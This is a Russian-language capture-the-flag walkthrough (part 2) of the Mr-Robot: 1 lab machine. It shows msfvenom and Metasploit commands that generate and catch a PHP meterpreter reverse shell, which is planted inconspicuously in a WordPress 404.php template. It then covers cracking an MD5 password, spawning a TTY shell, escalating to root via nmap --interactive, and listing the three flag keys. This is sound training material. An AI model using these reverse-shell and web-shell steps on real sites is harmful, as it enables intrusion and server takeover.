#2 Mr-Robot: 1 CTF Walkthrough. Часть 2.
Продолжаем исследовать сайт на Wordpress, и давайте посмотрим, являемся ли мы обычным пользователем или администратором.
![Mr-Robot 1 Walkthrough Решение CTF Часть 2](https://timcore.ru/wp-content/uploads/2021/10/mr-robot-1-walkthrough-reshenie-ctf-chast-2-1024x576.jpg)
Для этого нужно перейти на вкладку «Users», далее «All Users»:
![Продолжаем исследовать сайт на Wordpress, и давайте посмотрим, являемся ли мы обычным пользователем или администратором. Для этого нужно перейти на вкладку «Users», далее «All Users»](https://timcore.ru/wp-content/uploads/2021/10/001-1-1024x444.png)
Как видим, у нас есть права администратора, и это прекрасно, так как сайт под нашим управлением, и мы можем залить шелл (reverse shell) на него. Это делается для того, чтобы получить обратное соединение с сервером.
Для начала его надо сгенерировать. Мне понадобится инструмент «MsfVenom», а команда для генерации будет выглядеть следующим образом:
«msfvenom -p php/meterpreter/reverse_tcp lhost=10.0.2.5 lport=4444 -f raw>shell.php», где опция «-p» — это пэйлоад, а «-f» — это формат вывода.
Более подробнее можете ознакомиться в справке «msfvenom -h». Я сгенерирую шелл на Рабочем столе, в директории «mr_robot», и назову его «shell.php»:
![Я сгенерирую шелл на Рабочем столе, в директории «mr_robot», и назову его «shell.php»](https://timcore.ru/wp-content/uploads/2021/10/002-1-1024x510.png)
Все отлично, теперь мне нужно внедрить код сгенерированного шелла на сайт Wordpress. Это можно сделать с помощью редактора кода в панели управления.
Для эксперимента я возьму страницу ошибки 404, чтобы все выглядело неприметно. Нужно перейти на вкладку «Appearance», далее выбрать «Editor», и в списке открыть код страницы «404.php»:
![Нужно перейти на вкладку «Appearance», далее выбрать «Editor», и в списке открыть код страницы «404.php»](https://timcore.ru/wp-content/uploads/2021/10/003-1-1024x493.png)
После этого идем в директорию «mr_robot», и открываем файл «shell.php»:
![После этого идем в директорию «mr_robot», и открываем файл «shell.php»](https://timcore.ru/wp-content/uploads/2021/10/004-1.png)
Копируем весь код файла, кроме первых двух символов «/*», которые означают комментарий, и вставляем его в редактор Wordpress:
![Копируем весь код файла, кроме первых двух символов «/*», которые означают комментарий, и вставляем его в редактор Wordpress](https://timcore.ru/wp-content/uploads/2021/10/005-1-1024x509.png)
Все хорошо, шелл внедрен успешно.
Теперь нам нужно установить обратное соединение с сайтом, при помощи фреймворка «Metasploit».
Запускаем по-порядку команды:
msfconsole
msf use exploit/multi/handler
msf exploit(multi/handler) set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(multi/handler) set LHOST 10.0.2.5
msf exploit(multi/handler) set LPORT 4444
msf exploit(multi/handler) show options
![Теперь нам нужно установить обратное соединение с сайтом, при помощи фреймворка «Metasploit».](https://timcore.ru/wp-content/uploads/2021/10/006-1-1024x510.png)
Запускаем настроенный пэйлоад, с помощью команды exploit:
![Запускаем настроенный пэйлоад, с помощью команды exploit](https://timcore.ru/wp-content/uploads/2021/10/007-1-1024x510.png)
Мы в режиме ожидания входящего подключения.
Переходим на сайт Wordpress, в частности на страницу: http://10.0.2.6/404.php/:
![Переходим на сайт Wordpress, в частности на страницу: http://10.0.2.6/404.php/](https://timcore.ru/wp-content/uploads/2021/10/008-1.png)
Происходит соединение.
Переходим в Metasploit и видим открывшуюся сессию «meterpreter»:
![Переходим в Metasploit и видим открывшуюся сессию «meterpreter»](https://timcore.ru/wp-content/uploads/2021/10/009-1-1024x506.png)
Перемещаясь по серверу, я обнаружил интересную директорию «/home», в которой лежит директория «robot/», и в ней есть два файла:
![Перемещаясь по серверу, я обнаружил интересную директорию «/home», в которой лежит директория «robot/», и в ней есть два файла](https://timcore.ru/wp-content/uploads/2021/10/010-1-1024x512.png)
Это файл «key-2-of-3.txt» и «password.raw-md5». Откроем эти файлы, с помощью команды «cat»:
![Это файл «key-2-of-3.txt» и «password.raw-md5». Откроем эти файлы, с помощью команды «cat»](https://timcore.ru/wp-content/uploads/2021/10/011-1-1024x513.png)
Да, не все так просто. Файл с ключом, естественно не открылся, но существует подсказка, в виде второго файла. Он представляет собой зашифрованный хэш md5. Разработчик оставил нам подсказку в расширении файла. Этот хэш мы и будем расшифровывать с помощью онлайн-декодера. Я взял первый попавшийся сайт в интернете:
![Разработчик оставил нам подсказку в расширении файла. Этот хэш мы и будем расшифровывать с помощью онлайн-декодера.](https://timcore.ru/wp-content/uploads/2021/10/012-1-1024x818.png)
Хеш довольно быстро был расшифрован, и представляет собой последовательность английского алфавита.
В дальнейшем мы можем реализовать два пути, а именно написать однострочный скрипт, либо попробовать войти в систему с помощью пары «логин:пароль», использовав связку значений: robot:abcdefghijklmnopqrstuvwxyz. Что использовать, решать Вам.
Я покажу, как можно реализовать TTY shell. Для начала нужно прописать команду «shell», чтобы войти в соответствующий режим. После этого пропишем небольшой скрипт:
python -c ‘import pty;pty.spawn(«/bin/bash»)’
![python -c 'import pty;pty.spawn("/bin/bash")'](https://timcore.ru/wp-content/uploads/2021/10/013-1-1024x273.png)
Это пользователь с именем «robot», и мы можем войти в систему, авторизовавшись как «robot»:
![Это пользователь с именем «robot», и мы можем войти в систему, авторизовавшись как «robot»](https://timcore.ru/wp-content/uploads/2021/10/014-1-1024x313.png)
Можно теперь догадаться, для чего лежал файл, зашифрованный в md5. Вводим его:
![Можно теперь догадаться, для чего лежал файл, зашифрованный в md5. Вводим его](https://timcore.ru/wp-content/uploads/2021/10/015-1-1024x510.png)
Все отлично, мы авторизовались под пользователем «robot».
Теперь можем попытаться просмотреть директории по-новой и открыть файл со вторым ключом:
![Теперь можем попытаться просмотреть директории по-новой и открыть файл со вторым ключом](https://timcore.ru/wp-content/uploads/2021/10/016-1-1024x513.png)
Все отлично, мы получили второй ключ.
Давайте завершим поиск третьего ключа. Исходя из того, что мы находимся с правами обычного пользователя, имеют место быть root-права. Попробуем просмотреть содержимое директории / root/, с помощью команды «ls / root /»:
![Попробуем просмотреть содержимое директории / root/, с помощью команды «ls / root /](https://timcore.ru/wp-content/uploads/2021/10/017-1-1024x511.png)
Как видим, доступ запрещен, так как у нас нет прав root. После продолжительного изучения директорий и файлов, я наткнулся на инструмент «nmap». Проверим его версию:
![После продолжительного изучения директорий и файлов, я наткнулся на инструмент «nmap». Проверим его версию](https://timcore.ru/wp-content/uploads/2021/10/018-1-1024x513.png)
Версия 3.81. Старенькая, но тем не менее поддерживает параметр «— — interactive». С помощью него пользователи могут выполнять команды оболочки с помощью nmap «shell» (интерактивная оболочка).
Давайте попробуем запустить nmap с этим параметром:
![Давайте попробуем запустить nmap с этим параметром](https://timcore.ru/wp-content/uploads/2021/10/019-1-1024x511.png)
Как видите, я воспользовался цепочкой стандартных команд, которые ведут к получению доступа к root-директории, и последующим открытием третьего ключа. Это достаточно простой способ получения ключа, но тем не менее он рабочий.
Все задания выполнены, и мы успешно нашли все три ключа.
Вот список ключей:
1. key-1-of-3.txt «073403c8a58a1f80d943455fb30724b9»
2. key-2-of-3.txt «822c73956184f694993bede3eb39f959»
3. key-3-of-3.txt «04787ddef27c3dee1ee161b21670b4e4».
На этом завершаю решение. Всем хорошего дня!